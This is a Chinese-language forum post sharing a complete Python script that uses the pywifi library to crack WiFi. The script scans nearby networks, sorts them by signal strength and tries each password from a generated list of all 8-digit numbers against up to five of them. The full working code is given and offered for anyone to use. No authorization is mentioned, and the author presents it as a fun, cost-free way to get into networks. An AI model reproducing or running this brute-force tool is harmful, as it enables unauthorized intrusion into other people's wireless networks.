本人第一次发帖,把大杂烩的python应用给大家交流。网站上看了很多可以破解wifi的帖子,但是又的写的不全,或者功能不够强大。潜心梳理,话费了一天时间编了源码,并牺牲中午和晚上时间进行测试,优化,现在分享给大家。需要学习的请随意取用,不要客气。
先贴图
这个程序的特点是可以对读到的wifi进行清洗,选择信号强度高的wifi进行排序后,逐一破解。
这类暴力破解需要的密码本确实可以事半功倍,但有的同学还不会找密码本 ,下面的代码可以生成密码本。
def code_book(): """密码本生成函数,在破解运行前需要有密码本。这个函数产生8位数的wifi密码,1亿条密码需要大概一个 G的存储空间,运行时间看电脑性能了,大概20分钟左右""" all_chars = string.digits # 用于求多个可迭代对象的笛卡尔积(Cartesian Product),它跟嵌套的 for 循环等价.即:((x,y) for x in A for y in B) # 生成结果形如('0', '0', '1', '2', '2', '5', '2', '5') r = itertools.product(all_chars, repeat=8) with open('code_book.txt', 'a') as file: for i in r: file.write(''.join(i)+'n')
还很用心的使用了装饰器和棉花糖,代码如下:
def record_time(function): """装饰器函数实现不更改主函数功能并能实现部分装饰功能""" def wrapper(*args, **kwargs): start = time.time() result = function(*args, **kwargs) end = time.time() print(f'n{function.__name__:}完成,执行时间{end - start :.2f}秒') return result return wrapper @record_time def code_book(): pass
下面的代码选择需要对多少个wifi进行逐一破解。
def get_wifi(): wifi = pywifi.PyWiFi() # 获取所有无线网卡 ifaces = wifi.interfaces()[0] # 指定第一个网卡 print('正在扫描wifi。。。') ifaces.scan() time.sleep(2) print('扫描完成:') results = ifaces.scan_results() # 第一个网卡扫描到的wifi结果 wifi_list = [] for data in results: wifi_list.append((data.ssid, data.signal)) # print(data.ssid, data.signal) sorted(wifi_list, key=lambda x: x[1], reverse=True) # 按信号强度排列路由器列表 print(wifi_list) # 便于查看搜索到的路由器 n = len(wifi_list) i = 5 # 指定返回搜索到的wifi个数,后续程序会对i个路由器依次破解 if n <= i: return wifi_list else: return wifi_list[:i]
代码解释还是比较详尽的,大家整个源码如下,大家可以自己需要仔细阅读,亲测完美运行,就是破解速度一般,毕竟网卡连接太费时间,而且不能分布式使用,供大家练手还是本不错,哈。
整个源码如下,需要学习的同学自取。
# projecte: gift.py # user: 309 # file: wifi_crack # author: flamingyou # time: 2021/12/30/9:07 import itertools import pywifi from pywifi import const import time import string import sys def record_time(function): """装饰器函数实现不更改主函数功能并能实现部分装饰功能""" def wrapper(*args, **kwargs): start = time.time() result = function(*args, **kwargs) end = time.time() print(f'n{function.__name__:}完成,执行时间{end - start :.2f}秒') return result return wrapper @record_time def code_book(): """密码本生成函数,在破解运行前需要有密码本。这个函数产生8位数的wifi密码,1亿条密码需要大概一个 G的存储空间,运行时间看电脑性能了,大概20分钟左右""" all_chars = string.digits # 用于求多个可迭代对象的笛卡尔积(Cartesian Product),它跟嵌套的 for 循环等价.即:((x,y) for x in A for y in B) # 生成结果形如('0', '0', '1', '2', '2', '5', '2', '5') r = itertools.product(all_chars, repeat=8) with open('code_book.txt', 'a') as file: for i in r: file.write(''.join(i)+'n') def get_wifi(): wifi = pywifi.PyWiFi() # 获取所有无线网卡 ifaces = wifi.interfaces()[0] # 指定第一个网卡 print('正在扫描wifi。。。') ifaces.scan() time.sleep(2) print('扫描完成:') results = ifaces.scan_results() # 第一个网卡扫描到的wifi结果 wifi_list = [] for data in results: wifi_list.append((data.ssid, data.signal)) # print(data.ssid, data.signal) sorted(wifi_list, key=lambda x: x[1], reverse=True) # 按信号强度排列路由器列表 print(wifi_list) # 便于查看搜索到的路由器 n = len(wifi_list) i = 5 # 指定返回搜索到的wifi个数,后续程序会对i个路由器依次破解 if n <= i: return wifi_list else: return wifi_list[:i] def get_ssidnames(wifi_list): ssidnames = [] for item in wifi_list: if item[0] != '' and (item[0] not in ssidnames): # 发现读取到的路由器竟然有空的名称,使用if语句滤掉 ssidnames.append(item[0]) return ssidnames def get_ifaces(): wifi = pywifi.PyWiFi() ifaces = wifi.interfaces()[0] return ifaces def try_connect(ifaces, ssidname, password): ifaces.disconnect() profile = pywifi.Profile() profile.ssid = ssidname # 指定使用哪个wifissid profile.auth = const.AUTH_ALG_OPEN profile.akm.append(const.AKM_TYPE_WPA2PSK) # 指定wifi的加密算法 profile.cipher = const.CIPHER_TYPE_CCMP # 加密单元 profile.key = password ifaces.remove_all_network_profiles() tmp_profile = ifaces.add_network_profile(profile) ifaces.connect(tmp_profile) # 连接wifi time.sleep(5) # 强制睡眠,给网卡连接网络留出时间,电脑和路由器性能好,离得近可以适当设小一些 if ifaces.status() == const.IFACE_CONNECTED: print(f'nwifi: {ssidname}破解成功,密码是:', password) return False else: sys.stdout.write(f'r wifi: {ssidname}尝试{password}失败!继续尝试!') # 破解不刷屏 sys.stdout.flush() return True @record_time def run(): print('开始暴力破解wifi') path = r'./code_book.txt' wifi_list = get_wifi() ssidnames = get_ssidnames(wifi_list) # print(ssidnames) ifaces = get_ifaces() for ssidname in ssidnames: with open(path, 'r') as file: flag = True while flag: password = file.readline().replace('n', '') if password: flag = try_connect(ifaces, ssidname, password) else: break if __name__ == '__main__': # code_book() # 生成密码本 run()
希望大家玩的开心,而且还不需要找人要密码本了,哇哈哈哈。
差点忘了交代大家,因为pywifi模块不会我上传,大家可以在别的帖子里下找百度云链接下载,剩下的都是自带模块,引入可用。
欢迎分享,转载请注明来源:内存溢出
评论列表(0条)